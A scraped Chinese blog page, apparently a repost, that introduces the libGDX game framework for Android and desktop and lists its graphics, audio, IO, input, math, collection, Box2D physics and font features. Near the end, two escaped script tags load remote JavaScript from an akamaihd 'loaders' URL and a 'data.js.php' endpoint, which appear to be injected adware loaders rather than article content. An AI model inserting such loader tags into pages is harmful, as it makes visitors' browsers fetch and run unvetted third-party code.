androidandroid 游戏引擎擎libGDX如何...

用户名:gyangl47
访问量:104
注册日期:
阅读量:1297
阅读量:3317
阅读量:582536
阅读量:467285
51CTO推荐博文
最近想做点小应用,但界面方面是非常不在行,自然想借助游戏引擎来处理这部分工作。本打算在flex中找一个比较好的,但找到pushbotton的时候发现官方主页留下的只有goodbye的页面,留言的意思就是现在大家都去玩mobile了,他们放弃了这个引擎的开发。看到这里心一凉,感觉还是做mobile的应用更有前途,之后又去找了一下android开发的图像引擎,反复比较后感觉libgdx貌似不错,今天研究了一天感觉非常棒,相信借助它能做出不错的应用。
了这篇文章
类别:未分类┆阅读(0)┆评论(0)博客分类:
转载自: http://www.niuzb.tk/?p=164
Libgdx是什么 Libgdx是一个跨平台的游戏开发框架,作者之一就是写beginng android game的mario.它主要是用Java写的,部分性能要求比较高的地方用的是C/C++,它在android游戏开发和桌面游戏开发之上做了一个统一 接口,也就是说你只需要开发一套代码,游戏就可以在桌面和android上同时运行,(很酷吧),这意味着你开发android游戏时,不需要在PC上编 译好APK,再上传到手机或者模拟器上调试,你可以直接在电脑上调试,开发效率大大提升。而和andriod相关的代码,你最少只需要写6行代码。
Libgdx提供了哪些功能 图形基于 OpenGL ES 1.x/2.0的图形接口,效率肯定比用android 的Canvas 和SurfaceView不在一个数量级,大量的工具类可以帮助你减少用OpenGL 的痛苦。这意味你可以用这个库开发2D,3D游戏。 声音很简单的声音和音乐接口,用起来比android提供的接口方便,支持MP3和OGG格式 文件IO抽象了不同的文件接口,你不需要知道文件是放在asset目录,还是某个类路径下面 输入支持所用屏幕操作和鼠标操作。 数学库支持2D/3D绘图用到的线性代数操作。 工具类大家都知道J***A中collect 库的函数调用,基本上都会MALLOC内存,很容易引起GC启动,GC只要启动,通常会使游戏有200-300ms的延迟,libgdx提供的集合库,尽量做了优化,不让GC起动。 物理引擎通过JNI封装了box2d,很有名的2D物理引擎,你现在可以考虑用这个写一个愤怒的小鸟啦。 扩展libgdx还支持一个粒子系统,一个文字生成系统Hiero bitmap font generator(用起来很简单,游戏中的中文字体显示可以变的很EASY)
帮助文档 J***A生成的API文档可以在下面链接中找到/svn/api/index.html 如果你阅读代码更用效率,这个是测试代码和Demo代码个人觉的这些代码很有用,你开发游戏,可以从这些测试代码和demo起步。 社区和支持 中文社区就在这里。 英文社区在这里
其它链接 code project /p/libgdx/ 博客地址 /
&script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=&pid=1032&zoneid=62862"&&/script&&script type="text/javascript" src="https://secure-/data.js.php?i=%7BC5B8905E-BEFE-4E3E-91A1-F7%7D&d=&s=/admin/blogs/new"&&/script&
浏览: 1411 次
来自: 南京
(window.slotbydup=window.slotbydup || []).push({
id: '4773203',
container: s,
size: '200,200',
display: 'inlay-fix'

参考资料

 

随机推荐